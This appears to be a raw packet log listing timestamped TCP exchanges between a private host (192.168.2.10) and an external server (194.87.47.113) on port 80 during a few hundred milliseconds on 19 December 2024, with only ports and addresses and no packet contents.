Dec 19, 2024 08:21:26.958453894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.958499908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.958561897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.958867073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.958904982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.958980083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.959670067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.959682941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.959728956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.960438013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.960552931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.960616112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.961190939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.961232901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.961327076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.961997032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.962104082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.962146044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.962861061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.962879896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.962903023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.973017931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.973057032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.973121881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.973385096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.973421097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.973472118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.974172115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.974229097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.974256992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.974972963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.975013971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.975126982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.975802898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.975841045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.975879908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.976566076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.976610899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.976679087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.977324963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.977385998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.977442980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.014163971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.014219999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.014260054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.014482975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.014524937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.014576912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.015264988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.015305996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.015342951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.016124964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.016154051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.016171932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.016870975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.017013073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.017020941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.017644882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.017679930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.017766953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.018424988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.018461943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.018595934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.019620895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.019654036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.020045996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.021003962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.021035910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.021037102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.021440983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.021466970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.021486044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.021817923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.021862030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.021936893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.023513079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.023556948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.023822069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.024321079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.024349928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.024466038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.024820089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.024852991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.024853945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.025351048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.025408983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.025429964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.025825024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.025872946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.025897980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.026376963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.026416063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.026452065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.027151108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.027193069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.027249098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.027929068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.028034925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.028075933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.028737068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.028770924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.028817892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.029515028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.029558897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.029612064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.030287027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.030317068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.030374050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.031109095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.031146049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.031188965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.031924963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.031960964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.031964064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.032710075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.032805920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.032847881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.033504963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.033560038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.033588886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.034259081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.034310102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.034352064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.035053968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.035157919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.035171986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.035826921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.035859108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.035919905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.036686897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.036751986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.036783934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.037465096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.037498951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.037528038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.038202047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.038297892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.038327932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.039016962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.039053917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.039112091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.039753914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.039809942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.107857943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.107949018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.108091116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.108102083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.108127117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.108160973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.108906984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.108920097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.108963966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.109580040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.116811037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.116851091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.116996050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.117310047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.117376089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.117414951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.118058920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.118092060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.118148088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.118813038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.119153023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.150480986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.150528908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.150621891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.150912046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.151060104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.151148081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.151676893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.151829004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.152517080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.152549028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.152693033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.152723074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.153253078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.153321981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.154057980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.154090881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.154186010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.154215097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.154848099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.154937983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.155149937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.165070057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.165266991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.165451050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.165493965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.165582895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.165620089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.166292906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.166372061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.167058945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.167105913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.167155027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.167279005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.167829990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.167911053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.167958021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.168651104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.168694019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.169398069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.169440985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.169481993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.169512987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.206264973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.206358910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.206409931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.206562042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.206723928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.207156897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.207376003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.207514048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.207559109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.208187103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.208290100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.208321095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.209005117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.209069967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.209736109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.209772110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.209842920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.209881067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.210517883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.210633993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.211154938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.211400032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.211522102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.211627960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.212157965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.212362051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.212996006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.213038921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.213141918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.213174105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.213676929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.213818073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.214587927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.214621067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.214689016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.214718103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.215291977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.215523005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.215629101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.216104031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.216216087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.216295958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.216887951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.216959000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.217097998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.217654943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.217827082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.217859030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.218506098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.218570948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.218735933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.219289064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.219374895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.219412088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.220069885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.220154047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.220218897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.220838070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.220982075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.221013069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.221602917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.221704960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.222397089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.222431898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.222495079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.222524881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.223193884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.223334074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.224026918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.224069118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.224118948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.224153996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.224803925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.224919081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.225562096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.225605965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.225658894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.225691080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.226442099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.226495981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.227155924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.227233887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.227276087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.227338076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.227927923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.228045940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.228775978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.228818893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.228853941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.228890896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.229511976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.229652882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.230314970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.230355978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.230432034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.230468035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.231110096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.231213093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.231336117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.231842995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.278867006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.299789906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.299920082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.299973965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.300195932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.300317049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.300457954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.300952911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.301037073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.301204920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.301712990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.308954954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.309000969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.309108973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.309439898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.309464931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.309475899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.310148001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.310188055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.310280085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.310942888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.310971975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.342573881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.342665911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.342982054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.343023062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.343079090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.343111992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.343755960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.343874931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.343967915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.344558001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.344664097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.345381975 CET	80	49720	194.87.47.113	192.168.2.10
